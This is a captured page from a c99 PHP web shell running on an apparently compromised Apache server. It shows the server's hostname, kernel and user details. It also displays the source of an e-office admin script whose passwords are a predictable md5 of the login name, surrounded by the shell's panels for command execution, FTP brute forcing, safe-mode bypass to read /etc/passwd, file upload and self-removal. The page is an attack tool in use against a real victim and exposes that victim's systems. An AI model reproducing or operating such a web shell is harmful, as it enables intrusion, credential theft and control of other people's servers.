!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/eoffice/admin/   drwxr-xr-x
Free 50.9 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processEditPsInfo.php (4.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../class/clsDepartmentPE.php";
include_once 
"../class/clsPersonPE.php";
include_once 
"../class/clsUmuser.php";
include_once 
"../class/clsUmUserGroup.php";



$oUs = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_UMS'], $GLOBALS['DBUSER_UMS'], $GLOBALS['DBPASS_UMS']);
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);


$oDP = new Department($oC);
$oPS = new person($oC);
$oUms= new umuser($oUs);
$oUms2= new umuser($oUs);
$oUg=new umusergroup($oUs);

if(
$method=="editinfo"){
        
                
$oPS->SearchByKey($ps);
                if(
$oPS->GetRecord()=="1"){
                        
$oPS->Edit();
                        
$oPS->personId=$ps;
                        echo 
"personId".$oPS->personId."<br>";
                        
$oPS->deptId=$deptId;
                        echo 
"deptId".$oPS->deptId."<br>";
                        
$oPS->workGpId=$oPS->workGpId;
                        
$oPS->prefixId=$prefixId;
                        echo 
"prefixId".$oPS->prefixId."<br>";
                        
$oPS->fName=$fName;
                        echo 
"fName".$oPS->fName."<br>";
                        
$oPS->lName=$lName;
                        echo 
"lName".$oPS->lName."<br>";
                        
$oPS->fStatus=$oPS->fStatus;
                        
$oPS->adminId=$adminId;
                        
$oPS->fRetire=$oPS->fRetire;
                        
$oPS->hireId=$hireId;
                        
$oPS->Save();
                        
                    
//---------------------------add data to ums
                        
echo "+++++umuser<br>";
                        
$oUms->SearchByUsPsCode($ps);
                        
$oUms->GetRecord();
                        
$oUms->Edit();
                        
$oUms->UsID=$oUms->UsID;
                        echo 
"UsID".$oUms->UsID."<br>";
                        
$oUms->UsName=$fName." ".$lName;
                        echo 
"UsName".$oUms->UsName."<br>";
                        
$oUms->UsLogin=$oUms->UsLogin;
                        echo 
"UsLogin".$oUms->UsLogin."<br>";
                        
$oUms->UsPassword=$oUms->UsPassword;
                        
$oUms->UsPsCode=$oUms->UsPsCode;
                        echo 
"UsPsCode".$oUms->UsPsCode."<br>";
                        
//echo "personId".$oPe->personId."<br>";
                        
$oUms->UsWgID='';
                        
$oUms->UsQsID='';
                        
$oUms->UsAnswer='';
                        
$oUms->UsEmail='';
                        
$oUms->UsActive='';
                        
$oUms->UsAdmin='';
                        
$oUms->UsDesc='';
                        
$oUms->UsPwdExpDt='';        
                        
$oUms->UsUpdDt='';
                        
$oUms->UsUpdUsID='';
                        
$oUms->UsSessionID='';
                        
$oUms->Save();
                }
?>
        <script language="JavaScript">
        parent.location.href ="editPsInfo.php?s=1&ps=<? echo $ps?>";
        </script>
<?
}else if($method=="addinfo"){
    
$oPS->SearchfNamelName($fName,$lName);
    if(
$oPS->GetRecord()!=1){
            
$oUms2->SearchByUsLogin($loginName);
            if(
$oUms2->GetRecord()!=1){
                        
$oPS->AddNew();
                        
$oPS->personId=$oPS->GetNextCode();
                        echo 
"personId".$oPS->personId."<br>";
                        
$oPS->deptId=$deptId;
                        echo 
"deptId".$oPS->deptId."<br>";
                        
$oPS->workGpId="";
                        
$oPS->prefixId=$prefixId;
                        echo 
"prefixId".$oPS->prefixId."<br>";
                        
$oPS->fName=$fName;
                        echo 
"fName".$oPS->fName."<br>";
                        
$oPS->lName=$lName;
                        echo 
"lName".$oPS->lName."<br>";
                        
$oPS->fStatus="1";
                        
$oPS->adminId=$adminId;
                        
$oPS->fRetire="0";
                        
$oPS->hireId=$hireId;
                        
$oPS->Save();
                        
                        
$oUms->AddNew();
                        
$oUms->UsID=$oUms->GetNextCode();
                        echo 
"UsID".$oUms->UsID."<br>";
                        
$oUms->UsName=$fName." ".$lName;
                        echo 
"UsName".$oUms->UsName."<br>";
                        
$oUms->UsLogin=$loginName;
                        echo 
"UsLogin".$oUms->UsLogin."<br>";
                        
$oUms->UsPassword=md5("O]O".strtolower(rtrim($loginName))."O[O");
                        
$oUms->UsPsCode=$oPS->personId;
                        echo 
"UsPsCode".$oUms->UsPsCode."<br>";
                        
//echo "personId".$oPe->personId."<br>";
                        
$oUms->UsWgID='';
                        
$oUms->UsQsID='';
                        
$oUms->UsAnswer='';
                        
$oUms->UsEmail='';
                        
$oUms->UsActive='';
                        
$oUms->UsAdmin='';
                        
$oUms->UsDesc='';
                        
$oUms->UsPwdExpDt='';        
                        
$oUms->UsUpdDt='';
                        
$oUms->UsUpdUsID='';
                        
$oUms->UsSessionID='';
                        
$oUms->Save();
                        
                                                
//---------------------------add data to ums
                        
echo "+++++umusergroup <br>";
                        
$oUg->AddNew();
                        
$oUg->UgID=$oUg->GetNextCode();
                        echo 
"UsID".$oUg->UgID."<br>";
                        
$oUg->UgGpID="108";   //ผู้ใข้ทั่วไปของสารบรรณ
                        
echo "UgGpID".$oUg->UgGpID."<br>";
                        
$oUg->UgUsID=$oUms->UsID;
                        echo 
"UgUsID".$oUg->UgUsID."<br>";
                        
$oUg->Save();
                        echo 
"--------------------------------<br>";
?>
        <script language="JavaScript">
        parent.location.href ="addPsInfo.php?s=1";
        </script>
<?                        
                                                
            
}else{
?>
        <script language="JavaScript">
        parent.location.href ="addPsInfo.php?e=2";
        </script>
<?            
            
}                
                            
    }else{
?>
        <script language="JavaScript">
        parent.location.href ="addPsInfo.php?e=1";
        </script>
<?    
    
}    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0104 ]--